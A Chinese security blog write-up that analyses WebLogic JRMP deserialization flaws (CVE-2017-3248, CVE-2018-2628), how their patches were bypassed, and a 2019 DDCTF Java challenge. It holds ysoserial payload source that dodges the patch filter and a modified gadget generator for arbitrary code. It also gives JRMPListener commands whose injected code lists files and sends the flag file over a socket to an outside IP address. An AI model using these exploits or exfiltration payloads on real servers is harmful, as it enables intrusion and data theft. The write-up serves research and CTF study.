这篇文章将会分析weblogic JRMP问题,进而去回顾2019DDCTF中再来一杯java的那个题目,文章如果有理解错误、写错的地方,麻烦师傅们斧正。
$ cat docker-compose.yml version: '2' services: weblogic: image: vulhub/weblogic ports: - "8453:8453" - "7001:7001"
然后进入容器修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
if [ "${debugFlag}" = "true" ] ; then JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE" export JAVA_DEBUG JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..." export JAVA_OPTIONS
找到这个,在前面加上
debugFlag="true" expport debugFlag
重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入 library
然后remote即可。
先看下攻击姿势
java -cp ysoserial-exp.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections1 "touch /tmp/exp" python exp.py 127.0.0.1 7001 ~/Desktop/漏洞环境/weblogic/ysoserial-exp.jar 10.13.66.158 9997 JRMPClient python脚本:https://www.exploit-db.com/exploits/44553
来继续了解下什么是JRMP协议和RMI
JRMP协议:Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。 RMI:是Remote Method Invocation的简称,是J2SE的一部分, 能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象, 可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法, 可以像调用本地Java对象的方法一样调用远程对象的方法, 使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
再来看下CVE-2017-3248部分调用链
这条链上反序列化中首先利用的还是t3协议,这篇文章我想分析的是从 cve-2017-3248
到 CVE-2018-2628
再到DDCTF的那道java题目来聊一聊防御与绕过。
t3反序列化我是看的 Dlive
大佬的这篇文章 http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/
,我们通过看文章可以知道,在t3协议通信的过程中会传输序列化数据,也就会自动的去反序列化,那么利用Gadgets,比如说传输 Commons-Collections
的payload就可以实现攻击。
在我们使用exp.py将payload攻击过去的过程中,也是利用的T3来实现的反序列化,但是如果在项目中的话找到反序列化点就可以了。
我们来看看JRMPClient中如何构造的
public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
在最后面我们可以看到使用了动态代理机制,这有什么作用呢
动态代理其实就是java.lang.reflect.Proxy类动态的根据您指定的所有接口生成一个class byte,该class会继承Proxy类,并实现所有你指定的接口(您在参数中传入的接口数组);然后再利用您指定的classloader将 class byte加载进系统,最后生成这样一个类的对象,并初始化该对象的一些值,如invocationHandler,以即所有的接口对应的Method成员。 初始化之后将对象返回给调用的客户端。这样客户端拿到的就是一个实现你所有的接口的Proxy对象
这里我并不是十分的理解动态代理,但是我知道这里需要去重点关注的是 RemoteObjectInvocationHandler
,这个类在构造方法中会去调用父类的构造方法,然后在反序列化的过程中会因为继承的原因去调用 RemoteObject
的
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException { String str1 = paramObjectInputStream.readUTF(); if ((str1 == null) || (str1.length() == 0)) { this.ref = ((RemoteRef)paramObjectInputStream.readObject()); } else { String str2 = "sun.rmi.server." + str1; Class localClass = Class.forName(str2); try { this.ref = ((RemoteRef)localClass.newInstance()); } catch (InstantiationException localInstantiationException) { throw new ClassNotFoundException(str2, localInstantiationException); } catch (IllegalAccessException localIllegalAccessException) { throw new ClassNotFoundException(str2, localIllegalAccessException); } catch (ClassCastException localClassCastException) { throw new ClassNotFoundException(str2, localClassCastException); } this.ref.readExternal(paramObjectInputStream); } }
这里因为绑定的ref为 UnicastRef
对象,那么就相当于去调用 UnicastRef.readexternal
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { this.ref = LiveRef.read(var1, false); }
概念补充:
Java默认的序列化机制非常简单,而且序列化后的对象不需要再次调用构造器重新生成,但是在实际中,我们可以会希望对象的某一部分不需要被序列化,或者说一个对象被还原之后,其内部的某些子对象需要重新创建,从而不必将该子对象序列化。 在这些情况下,我们可以考虑实现Externalizable接口从而代替Serializable接口来对序列化过程进行控制。 Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。
继续往下走,可以看到打开了到JRMP服务端的连接,然后进入DGC的 dirty
在这里打通了了Client和Server。
到了这里会有种熟悉的感觉,因为这是 CommonsCollections
中的需要的点。
利用 JRMPClient
这个Gadget去调用 JRMPListener
,然后 JRMPListener
利用 CommonsCollections
这个Gadget来实现RCE。
其实到这里我大概明白了这是怎么一回事,那么下一步去看一下官方如何去防御的,以及如何去绕过。
官方是在InboundMsgAbbrev.class类中新添了一个resolveProxyClass方法
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces);
ban掉了 java.rmi.registry.Registry
接口,这里我们需要知道,resolveProxyClass方法只是在反序列化代理对象时才会被调用,也就是说在payload的最后一步有没有办法不使用代理呢
看 lpwd
大佬给的payload
@SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); // Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { // Registry.class // }, obj); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); } }
简化掉了JRMPClient,没有了代理在反序列化的时候就不会调用resovelProxyClass,进而绕过了。
xxlegend
大佬是利用其他接口 Activator
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
修改了源码之后
mvn clean package -DskipTests
重新编译一下
然后来看看2019DDCTF的那道java题目,当时拿到了源码,但是并没做出来,后来一直鸽,正好这段时间审java,遇到一样的知识点,再捡起来看看
题目地址以及信息,有想看看的可以看下
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/ 源码地址:/proc/self/fd/15 admin token: e/0YtlMi8D4nOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF
前面不再多说了,反转+padding,
其实看代码可以看到,有很明显的反序列化的地方,但是利用了github的开源工具 SerialKiller
,这道题目的考点也是让你去绕过
@RequestMapping({"/nicaibudao_hahaxxxx/deserial"}) public String deserialize(String base64Info) { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info)); UserInfo userInfo = null; try { ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig()); userInfo = (UserInfo)ois.readObject(); ois.close(); } catch (Exception var5) { var5.printStackTrace(); return null; } return JSON.toJSONString(userInfo); }
SerialKiller
这个工具防御反序列化的方法呢也是通过重写 ObjectInputStream
的 resolveClass
方法来实现的
在 SerialKiller.conf.xml
里面我们可以看到哪些类在黑名单里面
这里我们如果利用JRMP去攻击的话,会发现
<regexp>java/.rmi/.registry/.Registry$</regexp>
也就是说我们使用的第一份payload是攻击不成功的,那么显然bypass后的是可以成功的,我们来试试,利用URLDNS这个Gadget测试一下
可以看到已经有请求过来了
然后题目中还无法直接执行命令,但是既然可以反序列化了,可以使用代码执行,将 src/main/java/ysoserial/payloads/util/Gadgets.java
修改
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // String cmd = "java.lang.Runtime.getRuntime().exec(/"" + // command.replaceAll("////","////////").replaceAll("/"", "///"") + // "/");"; String cmd=""; //如果以code:开头,认为是代码,否则认为是命令 if(!command.startsWith("code:")){ cmd = "java.lang.Runtime.getRuntime().exec(/"" + command.replaceAll("////","////////").replaceAll("/"", "///"") + "/");"; } else{ System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出 cmd = command.substring(5); } clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
而且还得注意一个问题,既然想要执行命令的话需要有可以使用的Gadget,
可以直接使用 ysoserial
中的 common-beanutils
模块,可以使用这个
构造列目录的代码的payload
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file=new java.io.File("/");java.io.File[] fileLists = file.listFiles();java.net.Socket s = new java.net.Socket("74.120.175.101",9998);for (int i = 0; i < fileLists.length; i++) {java.io.OutputStream out = s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write("/n".getBytes());}s.close();'
读flag的payload
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");java.io.InputStream in = null;in = new java.io.FileInputStream(file);int tempbyte;java.net.Socket s = new java.net.Socket("74.120.175.101",9998);while ((tempbyte = in.read()) != -1) {java.io.OutputStream out = s.getOutputStream();out.write(tempbyte);}in.close();s.close();'
参考:
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/ https://xz.aliyun.com/t/2650 https://blog.csdn.net/lmy86263/article/details/72594760 https://www.cnblogs.com/xt0810/p/3640167.html https://www.anquanke.com/post/id/162782#h2-6 https://xz.aliyun.com/t/4862